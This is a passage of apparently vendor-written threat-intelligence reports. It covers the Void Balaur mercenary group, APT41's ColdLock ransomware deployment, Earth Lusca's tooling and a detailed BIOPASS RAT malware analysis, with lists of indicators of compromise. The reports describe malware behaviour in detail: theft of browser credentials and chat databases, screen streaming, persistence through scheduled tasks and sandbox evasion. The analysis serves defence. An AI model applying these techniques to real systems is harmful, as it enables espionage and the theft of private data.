This option is particularly interesting since it would be extremely difficult under normal circumstances to gather the contents of a mailbox without any user interaction, which points to possibilities such as insider assistance or even the compromise of the email provider’s systems.
Figure 1.
Countries in which Void Balaur email targets were located
In addition, Void Balaur also offers their customers access to a large amount of private data, which includes information such as flight and travel data (passports and ticket purchases); criminal records; financial records and credit histories; pension funds; and even printouts of SMS messages.
It’s easy to see why the services of a cybermercenary like Void Balaur is in demand — these types of information can be very useful for a group or an individual who wants to launch an attack on specific targets.
Void Balaur’s high-profile targets
What makes Void Balaur’s attacks particularly noteworthy is the often-lofty status of its targets.
While the threat actor has been known to offer its services to a more general audience — as seen in its online advertisements in the underground — research from groups such as eQualit.ie and Amnesty International show that Void Balaur is likely also involved in attacks against higher profile victims, ranging from human rights activists and journalists to politicians and even presidential candidates.
One of the group’s more notable campaigns involved attacks that targeted the private email addresses of government officials and politicians in an Eastern European country in September 2021.
Living up to its cybermercenary label, Void Balaur does not limit itself to the geopolitical scene.
Organizations that have access to a large amount of private information are also frequent victims of the group.
These targets belong to different industries such as the telecommunications, retail, financial, medical, and even the biotech sectors.
Organizational leaders and employees that are heavily involved with the company’s core business are among the threat actor’s favored targets, since these individuals will likely have access to the kind of information the group seeks.
Curtailing cybermercenary attacks
Given what we’ve seen of cybermercenaries like Void Balaur, it is likely that these groups have access to a large number of tools and infrastructure that allows them to launch attacks even against prominent individuals and organizations.
However, this does not mean that practicing and implementing the right security safeguards will not help in defending against cybermercenary attacks.
The following security best practices can help both individuals and organizations thwart cybermercenary attacks (and cyberattacks in general):
Employ the services of a reputable provider that places high priority on security.
Consider using dedicated two-factor authentication apps or devices such as Yubikey instead of relying on SMS.
Use encryption systems for communication, especially when it involves sensitive information.
Encrypt the drives of all computers and other machines that are used to store sensitive information.
Practice good security hygiene by deleting old emails and messages to minimize the chances of an attacker gaining access to private information.
Learn more about the activities and targets of Void Balaur in our research paper, Void Balaur: Tracking a Cybermercenary’s Activities.
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On September 16, 2020, the United States Justice Department announced that it was charging five Chinese citizens with hacking crimes committed against over 100 institutions in the United States and abroad.
The global hacking campaign went after a diverse range of targets, from video game companies and telecommunications enterprises to universities and non-profit organizations.
The five individuals were reportedly connected to the hacking group known as APT41.
At the time of writing, they remain fugitives, but two Malaysian citizens have been arrested for aiding the hackers.
Three related indictments unsealed by the Justice Department laid out the group's wide range of malicious activities, including crypto-jacking and ransomware attacks.
Most of the activities appear to have been done for profit, but some were for espionage purposes.
Justice officials say that the group's intrusions allowed the hackers to steal source code, customer account data, and personally identifiable information (PII).
Other notable activities include defrauding video game companies by manipulating in-game resources, and launching a ransomware attack on the network of a non-profit organization dedicated to combating global poverty.
The hackers used publicly available exploits and common vulnerabilities, which are listed in the official report.
They also employed sophisticated hacking techniques to gain and maintain access to the victim's computer networks.
The official report outlined how the team used "supply chain attacks" in which they compromised software providers and modified the code they were giving their customers.
This also allowed the threat actors to compromise the customers and spread their influence further.
This is not the first time that APT41 activities have been scrutinized — the group has been active for some time.
Just last May, Trend Micro connected the group to ransomware attacks on Taiwanese organizations.
The new ransomware family, which we dubbed ColdLock, is potentially destructive as it appears to target databases and email servers for encryption.
The attack chain of ransomware incidents in Taiwan
The Trend Micro Research team investigated the ColdLock ransomware attack, which actually targeted the energy industry in Taiwan.
The ransomware attack chain is outlined in Figure 1; however, we currently do not know the initial arrival vector of this threat into a potential victim's network.
Our analysis focused on the way the attacker spreads the ransomware to infect as many machines as possible.
The threat actor enters a victim's network environment and obtains the account username and password of the company headquarters' active directory server.
After logging in to the active directory server, the threat actor modifies the active directory server group policy object — this includes a request that all domain account members create a scheduled task and execute the malware.
In the final step, the other subsidiary active directory servers and all the endpoint machines will download the scheduled task and execute the ransomware.
Figure.1 The attacker uses an Active Directory (AD) scheduled task to deploy the ransomware in the customer environment.
Scheduled tasks play a very important role in this incident.
The threat actors use a scheduled task command to spread and infect a victim's environment.
The screenshot in Figure 2 shows how the threat actor uses SMB and internal IIS Web Service to copy "lc.tmp" (the main ransomware loader in this incident) to other victims' host machines.
After that, the PowerShell command executes the main ransomware loader.
Figure 2.
How a scheduled task delivers the malware to a victim's environment
The right tool for the job
Before the ransomware attack, the attacker was likely already hiding in the victims' environments for some time.
We found the same customized loaders installed as Windows services in every victim's environment, and those infected machines were in positions that allowed them to reach other machines under the subnets.
The loaders decrypted the next-stage payloads, which were either embedded inside itself or stored on the disk as separate files.
The next-stage payloads were CobaltStrike in this series of incidents.
After the loader and payload pairs were successfully installed, the attacker started poking around the environments with tools like password dumpers and HTTP tunneling tools — then the ransomware attacks were launched one month later.
More than just a single occurrence
During the investigation, we discovered more incidents that are possibly related to the one discussed above.
We did this by checking the indicator overlap and the C&C infrastructure overlap.
Based on the distribution of the linked indicators, the attacker(s) appears to be interested in energy, retail, and telecom companies, mainly in Southeast Asia.
They mostly conduct espionage activities — lurking in the environments for a long period and packing the data that interested them.
They also seem to be updating the backdoors and toolsets they use.
Possible link to Chinese espionage
The C&C server 104[.]233[.]224[.
]227 was hosted under a small hosting service with only 64 IPs under it.
The IP range was registered to an address in Inner Mongolia, China.
The C&C server was abandoned several days after the incidents, and now the IP is hosting a Simplified-Chinese site.
Trend Micro Solutions
Sophisticated hacking groups have versatile tools and are persistent threats.
Users should deploy more robust and proactive defenses to be adequately protected against these groups.
The following Trend Micro Solutions are recommended:
Trend Micro XDR for Users: Applies AI and analytics for earlier detection of threats across endpoints and other layers of the system
Trend Micro Apex One™: Provides actionable insights, expanded investigative capabilities, and centralized visibility across the network.
Trend Micro™ Deep Discovery™ Email Inspector: Detects, blocks, and analyzes malicious email attachments through custom sandboxing and other detection techniques
To help defend users against APT41 specifically, we have developed an assessment tool that can scan endpoints for file-based indicators collected from global intelligence sources.
Indicators of Compromise
SHA 256
Malware Family
2367326f995cb911c72baadc33a3155f8f674600
NTDSDump
75e49120a0238749827196cebb7559a37a2422f8
COLDLOCK
5b9b7fb59f0613c32650e8a3b91067079bcb2fc2
COLDLOCK
e7aa8f55148b4548ef1ab9744bc3d0e67588d5b7
COLDLOCK
ad6783c349e98c2b4a8ce0b5c9207611309adca7
COBALTSTRIKE
29cc0ff619f54068ce0ab34e8ed3919d13fa5ee9
COLDLOCK
2051f0a253eced030539a10ebc3e6869b727b8a9
COLDLOCK
a2046f17ec4f5517636ea331141a4b5423d534f0
COLDLOCK
03589dffe2ab72a0de5e9dce61b07e44a983d857
COBALTSTRIKE
9d6feb6e246557f57d17b8df2b6d07194ad66f66
COLDLOCK
28d172e374eebc29911f2152b470528fc695662e
PWDDUMPER
574fb6a497c032f7b9df54bc4669d1eb58d78fb4
ASPSHELL
*One of the sources for this table is the original report from the U.S. Justice Department
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Since mid-2021, we have been investigating a rather elusive threat actor called Earth Lusca that targets organizations globally via a campaign that uses traditional social engineering techniques such as spear phishing and watering holes.
The group’s primary motivation seems to be cyberespionage: the list of its victims includes high value targets such as government and educational institutions, religious movements, pro-democracy and human rights organizations in Hong Kong, Covid-19 research organizations, and the media, among others.
However, the threat actor also seems to be financially motivated, as it also took aim at gambling and cryptocurrency companies.
Previous research into the group’s activities attributed it to other threat actors such as the Winnti group due to the use of malware such as Winnti, but despite some similarities, we consider Earth Lusca a separate threat actor (we do have evidence, however, that the group is part of the “Winnti cluster,” which is comprised of different groups with the same origin country and share aspects of their TTPs).
The technical brief provides an in-depth look at Earth Lusca’s activities, the tools it employs in attacks, and the infrastructure it uses.
Infrastructure and operating model
Earth Lusca’s infrastructure can essentially be grouped into two “clusters.” The first cluster is built using virtual private servers (VPS), rented from a service provider, that are used for the group’s watering hole and spear phishing operations, in addition to acting as a command-and-control (C&C) server for malware.
The second cluster is made up of compromised servers running old, open-source versions of Oracle GlassFish Server.
Interestingly, this second cluster performs a different role in an Earth Lusca attack — it acts as a scanning tool that searches for vulnerabilities in public-facing servers and builds traffic tunnels within the target’s network.
Like the first cluster, it also serves as a C&C server, this time for Cobalt Strike.
It’s possible that the group used portions of its infrastructure (particularly the scanning aspects) for diversion in order to trick security staff into focusing on the wrong parts of the network.
Figure 1.
An overview of Earth Lusca’s infrastructure
Social Engineering and Vulnerability Exploitation techniques
The group has three primary attack vectors, two of which involve social engineering.
The social engineering techniques can be broken down into spear phishing emails and watering hole websites.
Our telemetry data shows Earth Lusca sending spear phishing emails containing malicious links to one of their targets — a media company.
These links contain files that are disguised either as documents that would be of interest to the potential target, or as opinion forms allegedly coming from another media organization.
The user eventually downloads an archive file containing either a malicious LNK file or an executable — eventually leading to a Cobalt Strike loader.
In addition to spear phishing emails, Earth Lusca also made use of watering hole websites — they either compromised websites of their targets or set up fake web pages copied from legitimate websites and then injected malicious JavaScript code inside them.
These links to these websites are then sent to their victims (although we were not able definitively pinpoint how this was done).
In one incident, the group injected a malicious script into the compromised HR system of a target organization.
This script was designed to show a social engineering message — typically a Flash update popup or a DNS error (note that Adobe discontinued Flash Player at the end of December 2020) that then instructed the visitor to download a malicious file that turned out to be a Cobalt Strike loader.
Figure 2.
Fake installation pop-up
The third attack vector used by Earth Lusca is the exploitation of vulnerabilities that exist in the public-facing applications — such as Microsoft Exchange ProxyShell and Oracle GlassFish — of its targets.
Once these are accomplished, Earth Lusca is free to perform its post-exploitation routines that include installation of tools such as Cobalt Strike and Acunetix (we discuss the post-exploitation routines in detail in the technical brief).
Malware used by Earth Lusca
Earth Lusca employs several malware and other hacking tools in its arsenal.
A common theme we’ve seen in its attack vectors is the use of CobaltStrike loaders — and indeed, Cobalt Strike is one of the group’s preferred tools due to its wide range of post-exploitation capabilities.
In this case, the Cobalt Strike shellcode that is dropped into the target system is encoded via XOR along with a corresponding key.
In addition to Cobalt Strike, Earth Lusca also uses malware such as Doraemon, a backdoor named after Japanese manga that has two C&C settings: a primary one for one for IP or DNS, and a public website URL containing encrypted or clear text C&C IP addresses that is used for persistence.
The group employs well-known malware such as ShadowPad and Winnti, as well as other tools such as cryptocurrency miners as part of its operations.
A more comprehensive list of these malware and tools are found in the technical brief.
Security best practices can help defend against Earth Lusca attacks
Evidence points to Earth Lusca being a highly-skilled and dangerous threat actor mainly motivated by cyberespionage and financial gain.
However, the group still primarily relies on tried-and-true techniques to entrap a target.
While this has its advantages (the techniques have already proven to be effective), it also means that security best practices, such as avoiding clicking on suspicious email/website links and updating important public-facing applications, can minimize the impact — or even stop — an Earth Lusca attack.
Read our technical brief to learn more about Earth Lusca and its activities.
The indicators of compromise for Earth Lusca can be found in this document.
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We discovered a new malware that targets online gambling companies in China via a watering hole attack, in which visitors are tricked into downloading a malware loader disguised as a legitimate installer for well-known apps such as Adobe Flash Player or Microsoft Silverlight.
Closer examination of the loader shows that it loads either a Cobalt Strike shellcode or a previously undocumented backdoor written in Python, a new type of malware that we found to be named BIOPASS RAT (remote access trojan).
BIOPASS RAT possesses basic features found in other malware, such as file system assessment, remote desktop access, file exfiltration, and shell command execution.
It also has the ability to compromise the private information of its victims by stealing web browser and instant messaging client data.
What makes BIOPASS RAT particularly interesting is that it can sniff its victim’s screen by abusing the framework of Open Broadcaster Software (OBS) Studio, a popular live streaming and video recording app, to establish live streaming to a cloud service via Real-Time Messaging Protocol (RTMP).
In addition, the attack misuses the object storage service (OSS) of Alibaba Cloud (Aliyun) to host the BIOPASS RAT Python scripts as well as to store the exfiltrated data from victims.
We consider BIOPASS RAT as still being actively developed.
For example, some markers that we discovered during our analysis refer to different versions of RAT code, such as “V2” or “BPSV3”.
Many of the loaders that we found were used to load Cobalt Strike shellcode by default instead of the BIOPASS RAT malware.
Furthermore, BIOPASS RAT also creates scheduled tasks to load the Cobalt Strike shellcode during the initialization, indicating that the malicious actor behind the attack still heavily relies on Cobalt Strike.
We also found several clues that show how the malware might be connected with the Winnti Group(also known as APT41).
In this blog entry, we will dive deeper into BIOPASS RAT with a detailed technical analysis of the infection chain, the different components of the malware, and any possible associations with Winnti.
Infection chain
The initial delivery mechanism of BIOPASS RAT uses of a watering hole, a compromised website in which the malicious actors inject their custom JavaScript code to deliver malware.
In most of the cases that we observed, the attackers usually place their injection script in their target’s online support chat page.
Figure 1.
The login panel of BIOPASS RAT
Figure 2.
Code showing the watering hole attack injection
The injected script will try to scan the affected host by sending HTTP requests to a list of ports.
If it receives any response with an expected string from these ports, the script will stop.
This step is likely designed to avoid attacking an already infected victim.
We found that the BIOPASS RAT has the ability to open an HTTP service running on localhost on a port chosen from a hard-coded list.
This functionality allows the script to identify whether the victim has already been infected by their malware.
It conducts this identification by testing whether the port is open or not and then by checking the response.
Figure 3.
The script used to check for existing BIOPASS RAT infections
If the script confirms that the visitor has not yet been infected, it will then replace the original page content with the attackers’ own content.
The new page will show an error message with an accompanying instruction telling website visitors to download either a Flash installer or a Silverlight installer, both of which are malicious loaders.
It is important to note that both Adobe Flash and Microsoft Silverlight have already been deprecated by their respective vendors.
Figure 4.
The fake Adobe Flash Player download page of the watering hole attack
Figure 5.
The fake Silverlight download page of the watering hole attack
Figure 6.
Anti-VM checks in sample c47fabc47806961f908bed37d6b1bbbfd183d564a2d01b7cae87bd95c20ff8a5
Figure 7.
Check for zh-CN-preferred UI language in sample 89c0b2036ce8d1d91f6d8b8171219aafcd6237c811770fa16edf922cedfecc54
The legitimate known application is downloaded and executed.
Authenticode-signed files are either downloaded from the official websites (as seen in sample c47fabc47806961f908bed37d6b1bbbfd183d564a2d01b7cae87bd95c20ff8a5) or are hosted on Alibaba Cloud OSS on the attackers’ account.
Visual C++ runtime, a legitimate and signed vc_redist.x?
?.exe, and Python runtime are then downloaded.
These files are also hosted on Alibaba Cloud OSS on an attacker-controlled account.
The Python runtime is usually a ZIP file with all required executables, as well as the DLL and Python libraries necessary for running Python scripts on machines where Python is not installed.
Scheduled tasks that are activated on a new login are created.
These tasks can run a BPS backdoor or a Cobalt Strike loader.
Figure 8.
Code excerpt from the scheduled task
We also noticed the path string “ServiceHub”, which is a path to the extracted Python runtime.
After the hex decoding of the arguments, we get a Python one-liner that downloads additional Python scripts from the cloud.
Figure 9.
Python code for downloading additional components from Alibaba Cloud OSS
Figure 10.
The BIOPASS RAT infection flow
Examining the BIOPASS RAT modules
We observed a few scheduled tasks being created, with the number dependent on the analyzed sample.
In the following section, we provide an analysis for each important backdoor module.
The cdaemon module
One of the modules used is called “cdaemon”.
At the time of our research into this threat, only the “print(1)” command is able to be executed.
An old sample of the module (30ccfbf24b7c8cc15f85541d5ec18feb0e19e75e1e4d2bca9941e6585dad7bc7) is likely a watchdog to check the status of another module that is known as “c1222”.
The malicious actors can change this behavior by replacing the content of the cdaemon.txt service in the cloud so that when combined with the regular execution of the scheduled task, the cdaemon task can behave like a backdoor.
Figure 11.
The content of the cdaemon.txt backdoor
The c1222 module
The second scheduled task is called “c1222.txt,” which is a Python code run by a previously downloaded Python runtime.
This code runs an HTTP server that listens on predefined ports.
If accessed by an HTTP client, it returns a marker value.
Figure 12.
The list of predefined ports to bind an HTTP service to, which is reversed
After accessing the infected machine with an HTTP server bound to a predefined port, the module returns the marker value.
Figure 13.
The HTTP service with marker BPSV3
We also observed other markers — such as, “cs_online”, “online”, and “dm_online”.
The purpose of the HTTP service is to act as a marker for an infected machine to avoid repeated infection, as aforementioned in the infection chain section.
The most important task of the c1222 script is to download, decode, and execute the Cobalt Strike shellcode.
Based on the platform, it downloads a file with an encoded shellcode (sc3.txt, x64.txt), and then decodes it (the shellcode is base85 and hex-encoded).
Figure 14.
Decoding the Cobalt Strike shellcode
The big module (BIOPASS RAT)
The third scheduled task —is called “big.txt”— is responsible for implementing the BIOPASS RAT malware.
This is a Python-based backdoor that is distributed in plain text or compiled with Nuitka or PyArmor and PyInstaller.
When the malware starts, it checks whether the file with the hard-coded name “%PUBLIC%/20200318” exists.
This file is a marker to determine if the scheduled task of the backdoor has been installed.
If the file (that is, the marker) is not found, the backdoor creates a new one and writes the current timestamp onto it.
The malware will then delete the scheduled tasks added by the loader and add two new scheduled tasks that are listed in Table 1.
Task Name
Behavior
ServiceHub
Executes Python with a parameter that is the Python script to download and execute Cobalt Strike loader script “c1222” module
ShellExperienceHost
Executes Python with a parameter that is the Python script to download and execute BIOPASS RAT script “big” module
Table 1.
The scheduled tasks created by BIOPASS RAT
The BIOPASS RAT malware loads a Python script, “online.txt” that will open an HTTP server that listens on one of the following port numbers: 43990, 43992, 53990, 33990, 33890, 48990, 12880, 22880, 32880, 42880, 52880, or 62880.
The HTTP server does nothing but returns string “BPSV3” to request.
A second HTTP server will also be created to listen on one of the aforementioned port numbers.
The second HTTP server behaves the same as the first but returns a string, “dm_online”, instead.
These are the markers of infection as previously mentioned.
After the servers are established and running, the backdoor creates an execution root directory in the folder “%PUBLIC%/BPS/V3/”.
Figure 15.
The script of a simple HTTP server to return string “dm_online”
If the malware finds that the system username is “vbccsb”, it will stop.
It must be noted that “vbccsb” is the default username on ThreatBook Cloud Sandbox, a popular alternative to VirusTotal in China.
If the backdoor finds that the file “debug” present inside the root directory, it will wait for 130 seconds and then continue with execution.
Figure 16.
The script used to check the username and debug mode
Next, the backdoor will try to read the file “bps.key” inside the root directory.
This file contains the victim ID assigned by the command-and-control (C&C) server.
If the file hasn’t been created, it will set the victim ID to a null value until the C&C server assigns it.
At the end of initialization, it collects the information of the victim’s system and initializes values in the global config variable that contains important configuration information.
This includes the backdoor version (we observed V2 and V3), access keys, endpoint address, the bucket name for Alibaba Cloud OSS, and a URL for downloading the utility sc.exe that is used for taking screenshots.
Figure 17.
The BPS backdoor global configuration variable
The backdoor communicates with the C&C server using the Socket.io protocol.
The C&C communication is encrypted with AES ECB algorithm using a hard-coded password, ZLIB compression, and base85 encoding.
Figures 18 and 19 show how the malware sends the “join” event to initialize C&C communication and attach the victim’s encrypted data.
Figure 18.
Encoded “join” event sent to the C&C server
Figure 19.
Decoded “join” event sent to the C&C server.
It’s important to note that attributes like IP address, computer and username, architecture, installed antivirus, and geolocation are included.
The BIOPASS RAT malware registers three custom Socket.io event handlers:
1.
The “notice” handler is used for checking the connection with the C&C server.
The backdoor regularly sends a “notice” event to the server and records the timestamp if it also receives a “notice” event as the response.
If the malware doesn’t receive any “notice” event within a hard-coded threshold period, it will restart.
2.
The “set key” handler is used for accepting the victim ID, a random string with six characters, assigned by the C&C server.
It will be attached in each of commands sent from the server and will also be used as the folder name on a cloud storage service to save the stolen data.
The victim ID will be stored in the “bps.key” file.
3.
The “accept task” handler is the main handler used to process the command sent from the C&C server and to return the execution result.
We share more details of each command in the next section.
After the malware joins the C&C server, the server will assign a victim ID with “set key” event and send multiple “accept task” events with the commands “ScreenShot”, “SnsInfo”, “PackingTelegram”, “GetBrowsersCookies”, “GetBrowsersLogins”, “GetBrowsersHistories”, and “GetBrowsersBookmarks” to instruct the malware to collect private data from the victim.
A closer look at the BIOPASS RAT commands
The BIOPASS RAT malware implements multiple commands, most of which are self-explanatory.
A summary of commands is listed in Table 2, while additional details of some commands are explained in the following section.
Command
Behavior
Compress_Files
Compresses specified files or directories to a ZIP archive
Decompress_File
Extracts files from a specified ZIP archive
AutoRun
Creates a scheduled task for persistence
CloseEverything
Kills the Everything process with the command “TASKKILL /F /IM Everything.exe”
OpenEverything
Downloads and runs Everything from voidtools
CloseFFmpegLive
Kills the FFmpeg process with the command “TASKKILL /F /IM ffmpeg.exe”
OpenFFmpegLive
Downloads and runs FFmpeg (for screen video capture)
DeleteFile
Deletes files or directories at specified locations
CreateDir
Creates a directory at a specified location
ShowFiles
Gets the disk partition or lists a specified directory with detailed information, including file name, file path, size, create time, and time of modification
Download_File
Downloads a URL and saves the file to a specified location
Upload_File
Uploads the victim’s files to cloud storage
uUninstall
Kills the BIOPASS RAT process and deletes installed files.
CloseObsLive
Kills the OBS process with command “TASKKILL /F /IM obs64.exe”
Open_Obs_Live
Downloads OBS Studio and starts live streaming
ProcessList
Lists processes on the victim’s environment and their process identifier (PID)
KillProcess
Kills the process specified by PID with the TASKKILL command
ScreenShot
Takes a screenshot and uploads it to cloud storage
Shell
Executes commands or scripts (subcommands with prefixes
subprocess, python, noreturn, getversion, restart)
SnsInfo
Lists QQ, WeChat, and Aliwangwang directories
InstallTcpdump
Downloads and installs the tcpdump tool
PackingTelegram
Compresses and uploads Telegram's “tdata” directory to cloud storage
CloseProxy
Kills frpc process with command “TASKKILL /F /IM frpc.exe”
OpenProxy
Downloads and installs the frp proxy client in the “%PUBLIC%” folder
OpenVnc
Downloads and installs jsmpeg-vnc tool in the “%PUBLIC%/vnc/” folder
CloseVnc
Kills the VNC process with the command “TASKKILL /F /IM vdwm.exe”
GetBrowsersCookies
Decrypts the cookie file of the browser and uploads it to cloud storage
GetBrowsersLogins
Decrypts the login file of the browser and uploads it to cloud storage
GetBrowsersHistories
Uploads the history file of the browser to cloud storage
GetBrowsersBookmarks
Uploads the bookmark file of the browser to cloud storage
Table 2.
BIOPASS RAT commands
OpenEverything
The malware downloads “Everything” files if the “Everything” binary is not found in the “%TEMP%” folder.
It then changes the port number of the HTTP server inside the configuration file and starts the Everything process, which will open an HTTP server to allow the threat actor to access the file system of the victim.
OpenFFmpegLive
The malware downloads FFmpeg files if they are not found on the victim’s machine.
Next, it starts the FFmpeg process to monitor the victim’s desktop via RTMP live streaming to the cloud.
The malicious actor can then connect to the relevant RTMP address to watch the streaming.
Open_Obs_Live
The malware downloads OBS Studio files if the OBS folder and config file are not found in the root directory.
It writes the basic config and RTMP config of OBS and then starts the OBS process to monitor the victim’s desktop using RTMP live streaming to the cloud.
The malicious actor can connect to the relevant RTMP address to watch the streaming.
Figure 20.
The script used to download OBS Studio, prepare the configuration, and start the process
ScreenShot
The malware downloads the screenshot-cmd tool if it is not found in the root directory.
It takes a screenshot of the victim’s screen with the tool and saves it as a PNG file with a random number as the file name.
The malware will then upload the screenshot files to cloud storage.
Shell
The malware uses a number of methods to execute the shell command or script.
The “Shell” command instructs the malware to execute a command using the Python function “win32api.
ShellExecute” and to return the result to a C&C server, applying a 60-second timeout for command execution.
If the command has one of the following prefixes, it will perform a specific behavior:
1.
“subprocess”: executes a system command using the Python function “subprocess.
Popen”.
2.
“python”: executes a Python script delivered with the command.
3.
“noreturn”: executes a system command using the Python function “win32api.
ShellExecute” without waiting for the result.
4.
“getversion”: returns the string “20200202”.
5.
“restart”: kills the process itself and restarts it via scheduled malicious tasks.
SnsInfo
The command will list the installation directory of several popular instant messaging applications including WeChat, QQ, and Aliwangwang and return this information to the C&C server.
Figures 21 and 22 show the result of running “SnsInfo” command to enumerate messengers.
Figure 21.
Encoded SUBMIT RESULT command sent to C&C server
Figure 22.
Decoded SUBMIT RESULT command sent to C&C server
None of the Chinese messenger applications has been installed on our testing machine, which explains the result seen in the images.
GetBrowsersCookies
This command is designed to steal cookie information from browsers.
It will read the “Local State” file to grab the AES secret key of Google Chrome-based browsers.
Depending on the different argument “type” delivered with the command, it performs different behaviors.
If the value of the “type” argument is “Chrome”, it will use the AES secret key or DPAPI (for Chrome versions before 80) to decrypt the cookie file.
The decrypted result will be sent to the C&C server.
Figure 23.
The script to decrypt Chrome’s file with AES or DPAPI decryption
If the value of the “type” argument is “File”, it will directly upload the cookie file to cloud storage.
The command that we received showed that the targeted browsers include Google Chrome, Microsoft Edge Beta, 360 Chrome, QQ Browser, 2345 Explorer, Sogou Explorer, and 360 Safe Browser.
Figure 24.
Code showing the command to target Sogou Explorer
GetBrowsersLogins
This command has a nearly identical function to “GetBrowsersCookies”, although it targets a browser’s “Login Data” files instead.
Additional Findings on BIOPASS RAT
Although these are not implemented inside the BIOPASS RAT malware, we have observed two additional plug-ins that are written in Python (“getwechatdb” and “xss_spoof”) and were deployed by the threat actor to a victim who had been infected with Cobalt Strike.
The script “getwechatdb” is used for exfiltrating the chat history from the WeChat Windows client.
The script will detect the version of the installed WeChat client and grab the decryption key and the user ID.
The predefined list of offsets is used to locate where the decryption key and the user ID are embedded.
The list supports 36 different versions of memory offsets for the message client.
The script will then upload database files inside the WeChat folder including “MicroMsg.db” to cloud storage.
These database files are used for saving the chat history.
Finally, the script will print out the client ID and the decryption key that allows the malicious actors to decrypt the stolen database files of the chat history.
Figure 25.
A predefined list of memory offset intended to grab information from different versions of WeChat
Figure 26.
The script used to exfiltrate WeChat chat database files
The other plug-in, “xss_spoof”, is an archive that contains multiple Python scripts.
The scripts are designed for web server infection via a cross-site scripting (XSS) attack.
This plug-in can inject malicious scripts into the response of the victim’s web server by leveraging the WinDivert package, which is used to sniff and manipulate the network traffic on Windows.
The scripts intercept HTTP GET requests that are sent to port 80.
An “ignore” list is used to filter the file extensions of URLs to avoid manipulating resources that are not JavaScript or HTML.
The script then modifies the original JavaScript or HTML content and delivers it to website visitors.
Figure 27.
The JavaScript payload used to replace the original script of compromised websites
The delivered script is almost the same as the malicious script previously discussed in the section on the watering hole attack.
The script performs checks by scanning localhost to determine if the machine is infected by BIOPASS RAT while showing the fake updated webpages.
It is likely that the malicious actors compromised the web servers first and then ran “xss_spoof” for propagation.
Figure 28.
The main script used to manipulate traffic with WinDivert
Potential links with the Winnti group
We have found several connections between BIOPASS RAT and the Winnti Group:
1.
We discovered that many BIOPASS RAT loader binaries were signed with two valid certificates.
However, these certificates are likely stolen from game studios from South Korea and Taiwan.
It is well known that the Winnti Group has previously used stolen certificates from game studios to sign its malware.
Certificate Thumbprint
Valid From
Valid To
EFB70718BC00393A01694F255A28E30E9D2142A4
12:00 a.m.,  Jan. 2, 2019
11:59 p.m., Mar.
2, 2021
8CE020AA874902C532B9911A4DCA8EFFA627DC80
12:00 a.m., Sept. 6, 2018
11:59 p.m., Oct. 5, 2021
Table 3.
Information from the stolen certificates
2.
While checking the stolen certificates, we found a server-side variant of the Derusbi malware sample (e5fdb754c1a7c36c288c46765c9258bb2c7f38fa2a99188a623182f877da3783) that was signed with the same stolen certificate.
Derusbi is known to be used by multiple advanced persistent threat (APT) groups.
The server-side variant has also been noted to be used as a malware loader by the Winnti Group.
3.
We found an interesting Cobalt Strike loader (a7e9e2bec3ad283a9a0b130034e822c8b6dfd26dda855f883a3a4ff785514f97) that embeds a URL that leads to the BIOPASS RAT loader.
However, the URL is unused and was likely left inside the loader as a mistake.
This file has also been mentioned in a recent report that connects it to an attack on a major certification authority (CA) in Mongolia.
The Cobalt Strike loader, which has a PDB string “C:\Users\test\Desktop\fishmaster\x64\Release\fishmaster.pdb”, connects to the C&C server “download[.]google-images[.]ml”.
The domains and the PDB string have been mentioned in a recent report and have been attributed to the Winnti Group.
While these connections allow us to link the malware to the Winnti Group, the different targets between BIOPASS RAT and the current operations by Winnti’s that we are tracking makes associating the two more difficult.
BIOPASS RAT highlights the importance of downloading from trusted sources
BIOPASS RAT is a sophisticated type of malware that is implemented as Python scripts.
It possesses many features, such as the ability to use scheduled tasks as a method of maintaining persistence in the infected system.
The malware abuses publicly available tools and cloud services for its malicious behavior.
Notably, a large number of features were implemented to target and steal the private data of popular web browsers and instant mes\sengers that are primarily used in Mainland China.
Given that the malware loader was delivered as an executable disguised as a legitimate update installer on a compromised website, we advise users to be careful  with regard to the applications that they download.
As much as possible, it is recommended to download apps only from trusted sources and official websites to avoid being compromised by attacks such as the one discussed here.
Organizations can also help protect their end users by implementing security solutions that provide  a multilayered defense system that helps with detecting, scanning, and blocking malicious URLs.
Note that we’ve submitted an abuse report to Alibaba, but we have yet to receive feedback at the time of publication.
Indicators of Compromise (IoCs)
SHA256
Filename
Note
Analysis
84fbf74896d2a1b62d73b9a5d0be2f627d522fc811fe08044e5485492d2d4249
big.txt
BIOPASS RAT Python Script (Version 3)
TrojanSpy.
Python.BIOPASS.A
f3c96145c9d6972df265e12accfcd1588cee8af1b67093011e31b44d0200871f
c1222.txt
BIOPASS RAT Python Script (C1222 module)
Trojan.
Python.BIOPASS.A
0f8a87ca5f94949904804442c1a0651f99ba17ecf989f46a3b2fde8de455c4a4
c1222.txt
BIOPASS RAT Python Script (C1222 module)
Trojan.
Python.BIOPASS.A
d8b1c4ad8f31c735c51cb24e9f767649f78ef5c571769fbaac9891c899c33444
c1222.txt
BIOPASS RAT Python Script (C1222 module)
Trojan.
Python.BIOPASS.A
ee4150f18ed826c032e7407468beea3b1f738ba80b75a6be21bb8d59ee345466
c1222.txt
BIOPASS RAT Python Script (C1222 module)
Trojan.
Python.BIOPASS.A
34be85754a84cc44e5bb752ee3a95e2832e7be1f611dd99e9a1233c812a6dad2
c1222.txt
BIOPASS RAT Python Script (C1222 module)
Trojan.
Python.BIOPASS.A
30ccfbf24b7c8cc15f85541d5ec18feb0e19e75e1e4d2bca9941e6585dad7bc7
cdaemon.txt
BIOPASS RAT Python Script (Cdaemon module)
Trojan.
Python.BIOPASS.A
f21decb19da8d8c07066a78839ffd8af6721b1f4323f10a1df030325a1a5e159
cdaemon.txt
BIOPASS RAT Python Script (Cdaemon module)
Trojan.
Python.BIOPASS.A
40ab025d455083500bfb0c7c64e78967d4d06f91580912dccf332498681ebaf6
cdaemon.txt
BIOPASS RAT Python Script (Cdaemon module)
Trojan.
Python.BIOPASS.A
e479823aa41d3f6416233dba8e765cf2abaa38ad18328859a20b88df7f1d88d5
sc2.txt
BIOPASS RAT encoded Cobalt Strike shellcode
Trojan.
Win32.COBEACON.A
e567fd0f08fdafc5a89c9084373f3308ef464918ff7e4ecd7fb3135d777e946d
sc3.txt
BIOPASS RAT encoded Cobalt Strike shellcode
Trojan.
Win32.COBEACON.A
0c8c11d0206c223798d83d8498bb21231bbeb30536a20ea29a5d9273bc63313d
s.txt
BIOPASS RAT encoded Cobalt Strike shellcode
Trojan.
Win32.COBEACON.A
2beabd8a9d9a485ab6d850f67ec25abbd66bf97b933ecc13cf0d63198e9ba26e
x.txt
Python script of Cobalt Strike shellcode loader
Trojan.
Python.COBEACON.A
00977e254e744d4a242b552d055afe9d6429a5c3adb4ba169f302a53ba31795d
1-CS-443.lua
LUA script of Cobalt Strike shellcode loader
Trojan.
